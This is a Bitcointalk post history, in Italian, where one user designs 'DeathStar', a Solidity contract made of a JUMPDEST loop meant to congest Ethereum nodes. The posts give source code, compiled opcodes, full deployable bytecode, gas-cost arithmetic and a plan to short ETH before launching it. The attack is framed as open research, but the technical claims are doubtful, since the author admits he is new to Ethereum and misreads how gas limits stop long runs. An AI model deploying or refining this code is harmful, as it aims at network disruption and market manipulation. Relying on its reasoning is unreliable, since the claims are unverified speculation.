Bitcoin Forum
May 27, 2024, 10:45:54 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 ... 192 »
821  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 22, 2021, 10:05:10 PM
Girovagando in cerca di info:

https://ethereum.org/en/developers/docs/gas/

Quote
Why do gas fees exist?

In short, gas fees help keep the Ethereum network secure. By requiring a fee for every computation executed on the network, we prevent bad actors from spamming the network. In order to prevent accidental or hostile infinite loops or other computational wastage in code, each transaction is required to set a limit to how many computational steps of code execution it can use. The fundamental unit of computation is "gas".


In queste righe della documentazione ufficiale, dicono candidamente che uno degli scopi per cui si pagano gas e' anche evitare loop infiniti.
Anzi, era proprio previsto ESATTAMENTE QUESTO CASO: hostile infinite loops

questo vuol implicitamente dire che e' possibile fare loop infiniti, e come ho scritto terminano quando si e' finito il gas.
e vuole anche dire che il loop si puo' lanciare e che l'unico meccanismo di salvataggio  e' quanto ci si e' disposti ad investire rispetto ai danni che si possono fare.

Ora la partita e' fondamentalmente nel vedere se avevano previsto una rete gia' di per se congestionata
e un loop altamente ottimizzato (o pessimizzato a seconda dei punti di vista) al costo medio per opcode di un gas.
e un mercato da centinaia di miliardi di dollari, dove gruppi potrebbero investire cifre stratosferiche in una operazione destabilizzazione.

Vedremo.

PS: C'e' anche un errore logico: se ethereum e' permissionless, e la gente puo' immettere qualsiasi smart contract basta che paghi,
perche dovrebbero essere dei "Bad actors"? questo vuol dire non avere le idee chiare... bad actors e' un giudizio morale...
ma se pago e seguo le regole del network io non sono un bad actor, oppure mi crei delle regole per NON POTER FARE certe cose.
Quali sono le azioni Bad e quelle Good? Non mi pare che rientri nelle regole di consenso dei nodi. Lo decide Buterin?


PPSS: piu' leggo queste cose e piu' mi puzza puzza puzza che abbiano eradicato certe istruzioni dai nuovi compilatori solidity


822  Local / Italiano (Italian) / Re: BITCOIN PUMP! on: August 22, 2021, 07:15:33 PM

Tipo?

Alcuni consulenti, che possono consigliarti lo spostamento in legislazioni di favore. Qui sul forum qualcuno parlava della Svizzera.
So per certo che alcuni loschi figuri agiscono da sponsor per lo spostamento in qualche paese nel Golfo. Tariffa all inclusive 500K. Fatti tu i tuoi conti.


ah si, mi ricordo che sono anche intervenuto. Ma anche li c'erano pareri discordi...
alcuni dicevano che non e' necessario trasferirsi davvero in svizzera, altri si.

Premesso che io sto bene in italia, mangio bene in italia, ho la casa in italia, ho gli amici in italia
e non voglio rovinarmi la vita nel cercare di migliorarla
(un po' come quelli che lavorano come gli schiavi oggi nel pio sogno di non fare un cazzo in un remoto futuro)
non mi sono sentito cosi' tranquillo ad intraprendere quella strada.



823  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 22, 2021, 05:47:51 PM

sul punto 2), anche senza conoscere nulla del meccanismo di consenso, una delle poche cose che so è che qualunque funzione di generazione di numeri random (più propriamente pseudo-random) deve ottenere esattamente lo stesso valore (a parità di input) su qualunque nodo venga fatta girare.
Ma questo vale più in generale per qualsiasi input esterno, proveniente da oracoli, e deve essere così by design, visto che il network dei nodi, come quello di bitcoin, è costituito per definizione da repliche identiche (a livello logico) che condividono la stessa blockchain.

Effettivamente altrimenti che consenso raggiungono? Questa potrebbe essere un interessante sfida futura Smiley
(Certo che spacciare questo coso per un linguaggio completo... non puoi fare quasi un tubo)

e boh onestamente sono parti oscure anche a me, e per ora la lettura del yellow paper
(che e' l'unica fonte ufficialissima) non mi ha illuminato.

tra l'altro anche lo yellow paper mi sembra un po' come la famosa scritta sul muro della fattoria degli animali...
nel senso che e' su git  e quello attuale recita

"ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER ISTANBUL VERSION 80085f7 – 2021-07-11"

Giustamente si potrebbe dire, visto che sara' aggiornato all'ultimo hard fork.

Ma sarei curioso di vedere quante versioni ne esistono, e quanto cambiano una dall'altra Wink

824  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 22, 2021, 04:57:09 PM
Ottimo lavoro davvero!
A livello tecnico non ci capisco una mazza e non entro assolutamente nel merito ma a livello concettuale sembra una figata e se dovesse riuscire...
Comunque immagino esistano dei rimedi/correttivi. Prima di fare qualsiasi azione studierei le eventuali azioni di contrasto così da anticiparle.
Per la traduzione in inglese  gbianchi mi ha chiesto in pvt ma al momento non riesco prima di qualche giorno. Se qualcuno vuole iniziare...

Mah ci ho riflettuto, e visto che io ho iniziato a studiare ethereum una settimana fa...
se mi confronto con la comunita' possono succedere queste cose:

0) Espongo alla comunita'

1) l'idea e' buona e la usano... che in fondo e' quello che mi interessa.
2) Mi criticano in eventuali punti deboli, e magari riesco a lavorarci su e tornare al punto 0
3) Mi motivano (seriamente) che e' una cagata. Mi sono divertito un po' ed e' morta li'.

Direi che in ogni caso va bene, in pieno spirito open source Wink


alla questione delle possibili contromisure ci avevo pensato anch'io. Mi metto nell'ottica di chi ha un interesse da difendere in ethereum, soprattutto chi gestisce i nodi validatori. Avevi già scritto che oltre la metà sono in cloud, se vedessi diminuire le prestazioni dei miei server per aumento del carico, la cosa più banale da fare sarebbe aggiungere altre risorse hw per compensare. Ovviamente aumenterebbero i costi, ma questo potrebbe essere bilanciato dal beneficio di mantenere stabile il valore di ETH.

Se poi oltre a validatore sono anche miner, comunque aumenterebbero le mie entrate provenienti dal gas sprecato [questo punto in realtà non mi è ancora chiaro: se lo smart contract esaurisce il gas prima di terminare, e quindi i nodi validatori lo rigettano, cosa viene finalizzato su blockchain? Le fees vengono comunque incamerate dai miner?]

Infatti questo e' un punto cardine... e mi fa piacere che hai colto molto bene il punto dell'attacco,
e anche la dinamica... mi sa che sei l'unico per ora Smiley

Pero' considera un po' di cose:

1) in ethereum, le fee le prendono i miner. mentre tutto il lavoro di calcolo degli smart contract lo fanno i nodi!
  (in bitcoin succede un qualcosa di simile, ma almeno i nodi fanno un lavoro direi monotono, di verifica di correttezza delle transazioni e basta)
  Qui invece essendo il codice programmabile, i nodi si possono beccare delle sberle di carico computazionale
  non indifferente... ed infatti e' importante capie come fanno ad eseguire il vari task, come li ordinano per priorita', come gestiscono il multitask...
  praticamente la EVM deve avere anche tutta la logica di un sistema operativo integrata, per la suddivisione delle risorse tra i vari smart contract in esecuzione.

2) poi le EVM in esecuzione sui vari nodi devono giungere ad un consenso, quindi dovranno anche scambiarsi delle info.... e se studi uno smart contract
 che ad ogni esecuzione fa calcoli random, quindi ogni EVM potrebbe giungere ad un risultato diverso... come fanno a giungere ad un consenso?

3) Inoltre le EVM che girano sui nodi debbono continuamente controllare se hanno sforato il le risorse disponibili
(ossia se il gas consumato, al valore attuale (ma di quando?) ha superato il deposito ethereum disponibile). Questo mi fa pensare ad un overhead per ogni opcode  eseguito mostruoso!

Ho provato a leggere lo yellow paper su questo punto, ma lui stesso lo descrive "la parte piu' ostica del protocollo ethereum", e
per ora non ho capito come i vari nodi convergono al consenso.

Comunque, se le cose vanno cosi', man mano dovrebbero sparire i nodi gestiti da utenti, e tutti i nodi concentrarsi in clud centralizzati
(e probabilmente gestiti dallo staff ethereum) anche perche' ribadisco che il carico computazionale gestito dai nodi e' in continuo aumento,
e i nodi non ci guadagnano nulla. (e mi sembra che sia proprio la dinamica in corso).

Tra l'altro e' proprio seguendo questa dinamica che mi sono iniziate a venire le idee per questo potenziale attacco.

Insomma, magari  non avro' centrato in pieno il bersaglio, ma sono convintissimo di aver messo le mani su una zona davvero "delicata".
Inoltre ribadisco il fatto che sia sparita la possibilita' di mettere delle tag e quindi usare direttamente la jump e la jumpdest in assembler mi puzza proprio molto.







825  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 22, 2021, 04:42:43 PM
Se qualcuno vuole iniziare...

Ho già iniziato.
Solita tecnica di GT + revisione a mano.
Stasera condivido qualcosa.


uhhh grazie!!!
826  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 22, 2021, 03:38:26 PM
Ottimo lavoro davvero!
A livello tecnico non ci capisco una mazza e non entro assolutamente nel merito ma a livello concettuale sembra una figata e se dovesse riuscire...
Comunque immagino esistano dei rimedi/correttivi. Prima di fare qualsiasi azione studierei le eventuali azioni di contrasto così da anticiparle.
Per la traduzione in inglese  gbianchi mi ha chiesto in pvt ma al momento non riesco prima di qualche giorno. Se qualcuno vuole iniziare...

Mah ci ho riflettuto, e visto che io ho iniziato a studiare ethereum una settimana fa...
se mi confronto con la comunita' possono succedere queste cose:

0) Espongo alla comunita'

1) l'idea e' buona e la usano... che in fondo e' quello che mi interessa.
2) Mi criticano in eventuali punti deboli, e magari riesco a lavorarci su e tornare al punto 0
3) Mi motivano (seriamente) che e' una cagata. Mi sono divertito un po' ed e' morta li'.

Direi che in ogni caso va bene, in pieno spirito open source Wink

827  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 22, 2021, 09:44:59 AM
Qui ho scritto (e modificato) un documento che adesso e' in versione quasi definitiva,
a parte qualche possibile modifica di stile o sintassi.

https://bitcointalk.org/index.php?topic=5353902.msg57748079#msg57748079

Se avete voglia di sbattervi, descrivo tutto con un notevole dettaglio.

Ora voglio tradurlo in inglese e postarlo nella sezione internazionale dedicata alle altcoin.

828  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 21, 2021, 11:15:56 PM


A parte il fatto che quella funzione, non scrivendo nella blockchain, non viene eseguita da nessun miner, ma solo da chi la esegue senza nessun costo.
Pure se ci metti un istruzione write non ha senso, nella migliore delle ipotesi esegue fino a che ci stanno fondi, nella peggiore non viene eseguita nemmeno perchè si accorge prima che non termina. 8


Quindi, gbianchi, se quello che dice Makkara è vero, forse non è così semprlice?
Beh, ma allora puoi provare a farlo giarare immmediatamente se non c'è nessuna controindicazione!

Mi parreva strano fosse stato così semplice...

I miner ethereum non eseguono nessun codice, i miner fanno solo il proof of work (come in bitcoin)
Il codice lo eseguono TUTTI  i nodi per arrivare al consenso (come in bitcoin TUTTI i nodi controllano che le transazioni siano giuste)
Makkara dice che il codice non ha senso, e infatti da un punto di vista computazionale non ha senso... ma l'ho scritto io almeno 10 volte.
lo scopo e' bruciare ethereum ad un costo per opcode il piu' basso possibile per competere con l'esecuzione degli altri smart contract

Quote
nella peggiore non viene eseguita nemmeno perchè si accorge prima che non termina. 8

chi e' il soggetto che si accorge? Vitalik Buterin che tutte le sere controlla tutti gli smart contract prima di andare a dormire?
ho spiegato bene qual'e' il criterio di ethereum per terminare i loop infiniti.

Mi piacerebbe che visto che ho scritto una descrizione bella dettagliata, e ci ho speso anche del tempo
mi si facessero dei rilievi sensati, non robe dette a caso.


829  Local / Italiano (Italian) / Re: BITCOIN PUMP! on: August 21, 2021, 05:15:29 PM

Esistono soluzioni sicure, ma costose (meno del 26%, ovviamente).


Tipo?
830  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 21, 2021, 08:54:08 AM
Quote

Una possibile strategia di attacco alla rete ethereum.

Di gbianchi bitcointalk.org

questo studio nasce da alcune osservazioni:

1) nella rete ethereum non esiste nessun concetto di "smart contract vietato", la rete e' permissionless
   ossia qualsiasi utente puo' immettere in rete qualsiasi tipo di codice, basta che il codice sia formalmente corretto
   e che paghi il caricamento e l'esecuzione del codice.

2) ogni "smart contract" si comporta by design come un virus, ossia se eseguito, viene eseguito automaticamente
   su tutti i nodi, proprio in virtu' del principio di decentralizzazione, ogni nodo deve ri-eseguire il codice  
   per verificare il lavoro fatto dagli altri e giungere al consenso con gli altri nodi.

3) L'unico meccanismo per "governare" l'esecuzione del codice  e' il fatto che l'esecuzione di qualsiasi
   smart contract costa gas, proporzionale al numero di istruzioni eseguite ed al tipo di istruzioni.

4) gli smart contract vengono normalmente scritti in solidity, ma vengono poi compilati e tradotti in linguaggio
   macchina EVM, e solidity da' la possibilita' di scrivere direttamente in linguaggio assembler della EVM.

5) Una volta immesso, il codice e' immutabile, quindi non vi e' modo di "togliere di mezzo" lo smart contract dalla rete,
   a meno di un hard fork tipo DAO. Ma mentre Dao sfruttava un bug, qui viene utilizzata l'architettura di base di ethereum,
   rendendo veramente difficile la progettazione di un hard fork abbastanza efficace.

In base a queste osservazioni, si puo' progettare uno smart contract "DeathStar" la cui esecuzione costi il meno possibile,
e che "bruci" ethereum solo per competere con gli altri smart contract sui vari nodi, e ottenere piu' risorse elaborative possibili,
rallentando e facendo stagnare l'esecuzione di tutti gli altri smart contract.

Un gruppo di attaccanti potrebbe essere incentivato per svariati motivi a bruciare ethereum per mettere in difficolta' la rete, ad esempio:

- ad esempio essere i sostenitori di un'altra moneta competitor,
- oppure organizzare  uno short su ethereum prima dell'attacco, congestionare la rete ethereum e ricoprirsi a prezzi piu' bassi,
  recuperndo i soldi dell'attacco e guadagnandoci
- mettere in difficolta' uno o piu' degli svariati smart contract che girano su ethereum

In generale qualsiasi persona o gruppo con sufficenti mezzi e con un qualsiasi tipo di interesse alla decadenza della rete ethereum
e/o degli smart contract che vi girano, potrebbe usare questa linea di attacco.


Descrizione tecnica di DeathStar

lo yellow paper di ethereum  https://ethereum.github.io/yellowpaper/paper.pdf e' la fonte di informazioni ufficiale.
 
All'interno si trovano (tra tante al tre cose) la descrizione degli opcode EVM (Ethereum Virtual Machine)
e  le tabelle del costo in gas di ogni opcode.

Emerge che ogni smart contract viene compilato e convertito in opcode EVM, e dalla tabella
"Appendix G FEE SCHEDULE" emerge che questi opcode hanno  costi che vanno da 0 gas (opcode STOP, RETURN, REVERT)
fino a 20.000 gas o piu' per opcode di store di dati, 32.000 gas per la CREATE ecc.

Introduciamo ora il concetto di costo medio per opcode. Uno smart contract e' composto da un insieme di opcode che
formano la logica dello smart contract stesso, quindi chiamate funzionali, operazioni logiche, calcoli, storage dei risultati ecc.

L'esecuzione di uno smart contract sara' quindi l'esecuzione di tante di questi opcode, dai vari costi, che portano alla fine
al costo totale dell'esecuzione.

supponiamo che uno smart contract esegua questi opcode:
10 da 3 gas, 5 da 8 gas uno da 700 gas e uno da 20.000 gas (le operazioni sullo storage sono molto costose).
avremo quindi un costo totale di 30+40+700+20.000=20770 gas per 17 opcode. Il costo medio per opcode sara'
quindi di 1221.76 gas.

Per essere lo smart contract piu' "competitivo" in temine di costo per opcode, DeathStar dovra' essere progettato attorno
ad un opcode che costi il meno possibile, per avere il minor costo medio per opcode possibile.

Non si possono usare gli opcode da costo 0 (STOP, RETURN, REVERT)  in quanto tutti terminano l'esecuzione dello smart contract.

Quindi passiamo all'unico opcode  al costo di 1 gas: JUMDEST. Jumpdest e' un opcode  che non fa quasi nulla,
se non "Mark a valide destination for jump". non fa push e/o pop dallo stack, non fa nulla se non settare una posizione
dove poter saltare con una JUMP.

L'idea e' di wrappare una serie di opcode  JUMPDEST in un loop, in modo tale da abbassare il piu' possibile costo medio per opcode
di esecuzione di questo loop, in modo da renderlo vicino ad 1 gas per opcode, target al quale nessuno smart
contract che implementa qualche logica' potra' mai neanche lontanamente arrivare.

Ma ricordiamo il nostro scopo non e' avere una logica (infatti da un punto di vista elaborativo questo codice non produce nulla, non ha una logica)
e' semplicemente avere il costo medio per opcode piu' basso possibile,  per eseguire con una certa somma il maggior numero possibile di opcode che
"drenano" risorse elaborative dal network.

Ultima nota che ci serve sapere, e' che ethereum ha un criterio molto semplice per "interrompere" i loop infiniti: li termina quando
sono finiti i fondi. Quindi Caricando opportunamete di fondi lo smart contract, questo continuera' a girare, scalando un gas a opcode (in media)
in competizione con altri smart contract molto piu' costosi in termini di costo medio a opcode, che e' esattamente lo scopo
che ci eravamo prefissi: Avere uno smart contract che brucia ethereum al costo piu' basso possibile in competizione con gli altri smart
contract in esecuzione che avranno costi medi per opcode  di gran lunga piu' alti.

Un "trucco" che ci aiuta ad ottenere il codice binario e' che nelle vecchie versioni di solidity (fino alla versione 0.4)
era possibile immettere in assembler delle tag per le istruzioni jump, e che queste tag erano implementate proprio con degli opcode JUMPSET,
quindi usando un compilatore solc della versione 0.4.x il codice si compila in un attimo.
Coincidenza vuole che questa tecnica di codifica non sia  piu' possibile nei nuovi compilatori.


Codice di DeathStar:

pragma solidity ^0.4.0;

contract DeathStar
   {
   function DeathLoop() public
      {
      assembly
       {
       loop000:
       loop001:
       loop002:
       loop003:
       loop004:
       loop005:
       ....
       ....
       loop992:
       loop993:
       loop994:
       loop995:
       loop996:
       loop997:
       loop998:
       loop999:
      
       jump(loop000)
       }
     }
   }


viene compilato cosi':

...

JUMPDEST
JUMPDEST
JUMPDEST
...
JUMPDEST
JUMPDEST
PUSH2 0x4F
JUMP

Con 1000 jumpdest (ogni tag loopxxx: genera una jumpdest) + una push (costo 3 gas) + una jump (costo 8 gas)
abbiamo 1002 opcode al costo di 1011 gas  il costo medio per opcode del loop e' quindi attorno a 1,0089 gas.
Ipotizzando un costo gas di 36 Gwei, abbiamo un costo medio ad istruzione di 36,32 Gwei per opcode,
ossia con un ethereum possiamo eseguire ben 27.500.000 di opcode.
Notare che aggiungere piu' jumpdest allunga il codice ma migliora il costo medio per opcode in modo molto marginale,
non credo ne valga la pena.

Codice binario dello smart contract compilato:

Binary:
6060604052341561000c57fe5b5b6104688061001c6000396000f30060606040526000357c01000 00000000000000000000000000000000000000000000000000000900463ffffffff1680634b489b 321461003b575bfe5b341561004357fe5b61004b61004d565b005b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 61004e565b5600a165627a7a7230582038b23d251247261d10e2d2488b65e84ad63f17d7c93525f da5e1c3551ac3ae460029


Un ringraziamento ai ragazzi della comunita' italiana di bitcointalk.org (filippone, acquafredda, HostFat, jack0m ed altri)
che mi hanno dato spunti interessanti per la realizzazione di questo studio.






Note:

ditemi se si capisce e dove posso essere piu' chiaro.
dite se non volete essere citati.
acquafredda... te lo sai gia' vero che ti tocchera' di tradurlo?

831  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 21, 2021, 08:18:26 AM

Ecco i miei punti che me lo rendono impossiible!



Comunque ho idea di organizzare il tutto in un qualcosa di piu' organico. anzi fra poco vi posto una prima bozza.
832  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 20, 2021, 11:44:09 PM


ok, diciamo che rivedendolo ora, ci sono almeno 3 punti che lo rendono un caso di studio puramente accademico, almeno per quanto mi riguarda Grin

Un caso di studio nato proprio da una tua osservazione:

Si può shortare ETH sugli exchange? Si.
Quindi se ci fosse un modo per causare il panico e guadagnarci, già lo si avrebbe fatto.
ETH avrà i suoi problemi, ma evidentemente non sono così gravi come ovviamente un massimalista cercherà di raccontare Wink
833  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 20, 2021, 11:30:29 PM


eh però così moltiplichi per n anche la spesa in gas... non so, ho la sensazione che per avere un qualche effetto riscontrabile la spesa sia veramente alta, centinaia di ETH o forse di più... ma non ho elementi concreti per accertarlo.

oh certo, io immagino mooolto di piu'.

ma ti riposto lo schema originario del potenziale attacco: (non avevo ancora sviluppato nessuna idea pratica su come realizzare lo smart contract,
(anzi onestamente manco sapevo cosa fosse in pratica... parlavo ancora di spammarlo a mo' di virus...  ma qualsiasi smart contract si auto-spamma a mo' di virus Smiley )


Quote
Ora, proviamo a vedere la cosa da un punto di vista totalmente diverso.

Non esistono (almeno in apparenza*) regole censorie per immettere del codice in blockchain... basta pagare.
Ossia uno puo' immettere un codice anche proprio PROGETTATO per fare danni, non che sfrutti bug per farli,
basta che paghi. questa potrebbe essere la madre di tutte le debolezze:

una linea di attacco potrebbe essere: siamo un gruppo che
a) vuole dimostrare che ethereum non sta in piedi alla radice, proprio perche' si puo' immettere del codice a piacimento, basta pagare.
b) lo spirito morale non ci motiva a sufficenza, quindi nell'operazione ci vogliamo anche guadagnare e molto.
c) siamo gente che vive nel mondo delle crypto da anni... e fortunatamente i mezzi non ci mancano  Grin
d) Progettiamo e realizziamo uno smart contrat chiamato "La morte nera"
e) shortiamo ethereum di brutto,
f)  immettiamo lo smart contract "La morte nera" nella blockchain di ethereum
g) lo pompiano a suon di milioni in ethereum per farlo girare, ma con la certezza di quadagnarne molto di piu' dallo short.
e) lo smart contract "La morte nera" progettato a mo' di virus, spamma la chain di ethereum fino alla devastazione.
f) ethereum crolla in un tempo brevissimo, il prezzo crolla in picchiata di e di conseguenza  copriamo gli short nababbi.
g) guadagnamo una barca di soldi ed abbiamo devastato ethereum (senza infrangere nessua legge)

834  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 20, 2021, 11:14:49 PM

bisognerebbe capire come un nodo assegna le sue risorse hw ai vari smart contract. Non è che assegna un tot di cicli ad ognuno e poi passa a quello successivo? Perché se così fosse l'unico risultato sarebbe un rallentamento nella terminazione di quel contratto. O sbaglio? Non ho la minima idea del design di un nodo ether.

Beh, se anche così fosse significherebbe che tot cicli dell nodo sarebbero occupati per moolto tempo dallo DeathStar, quindi per moolto tempo il nodo in questione avrebbe tot cicli occupati in modo inutile, lasciando quindi meno risorse per gli smart contract "veri"... potrebbe essere addirittura meglio... una sorta di "gramigna" nei nodi, difficile da estirpare....

sì ma questo diluirebbe nel tempo i gas sprecati, rendendoli una % trascurabile di quelli complessivamente processati dal nodo

Vero ci avevo pensato. Ma in questo caso basterebbe lanciare n ricorrenze dello smart contract, magari
leggermente diverse una dall'altra per confondere un po' le idee alla rete.

Il vero elemento cruciale e' se con una cifra "ragionevole" si riesce ad impattare sui nodi.

Se si riesce, per ethereum sono cazzi.

Non so se se la cavano neppure con un hard fork, perche' dovrebbe aumentare (e di parecchio) i gas di questa operazione!
ma ci sono altre operazioni che costano poco di piu' che si possono usare. E che fanno, un hard fork al giorno?


EDIT: comunque detto tra di noi, il fatto che nei compilatori moderni abbiano tolto la possibilita' di  smanettare con
certe istruzioni, guarda caso legate all'uso di jumpdest (che apparentemente e' l'istruzione piu' innocente del mondo), gia' mi puzza da morire....
forse non voglio che qualcuno, magari per sbaglio, si imbatta in qualcosa del genere? mah... diciamo che e' una coincidenza, eh?

 
835  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 20, 2021, 10:52:12 PM
Questo e' il codice binario di uno smart contract eseguibile in rete!

Bene, a questo punto che si fa? Lo butti in esecuzione in rete?
Cerchi Ethereum? Scusami no guarda ho lasciato il portafoglio a casa, sono uscito solo un secondo a fare due passi...


Ho due o tre idee... ma prima, essendo un tipo pratico, non mi accontento della teoria.

Vorrei quindi vedere in un ambiente di test che cavolo succede. La prima domanda e'...
che impatto ha DAVVERO su una EVM un ciclo del genere?

Sai, questi hanno voluto mettere su un "computer" di dimensioni mondiali... con un'unica
leva di comando, che sono le fee, i programmi che sono tutti virus e che non si possono manco modificare.

Ora qualsiasi sistemista che abbia lavora piu' di un giorno su un server, sa che in realta'
servono tanti accorgimenti per gestire tante risorse... comandi per assegnare i processori, la ram,
lo storage, le quote, le priorita' dei processi, comandi per sospendere, per killare, per riavviare,
programmi di monitoraggio e test.... e non sto qui a tediarvi con l'infinita lista di tarature
che bisogna fare.

Ora ditemi voi: su ethereum ci sono circa 1.500.000 (si un milione e mezzo) di smart contract,
senza nessuna altro meccanismo di controllo a parte sto' cazzo di gas da pagare.

Sono proprio curioso di vedere come cavolo impatta sto' loop micidiale su una EVM vera.





836  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 20, 2021, 09:46:16 PM
Finalmente ho una versione compilabile del codice.

Quote

pragma solidity ^0.4.0;

contract DeathStar
   {
   function DeathLoop() public
      {
      assembly
       {
      
       loop000:
       loop001:
       loop002:
       loop003:
       loop004:
       loop005:
       ....
       ....
       loop992:
       loop993:
       loop994:
       loop995:
       loop996:
       loop997:
       loop998:
       loop999:
      
       jump(loop001)
       }
     }
   }



Quote

Binary:
6060604052341561000c57fe5b5b6104688061001c6000396000f30060606040526000357c01000 00000000000000000000000000000000000000000000000000000900463ffffffff1680634b489b 321461003b575bfe5b341561004357fe5b61004b61004d565b005b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 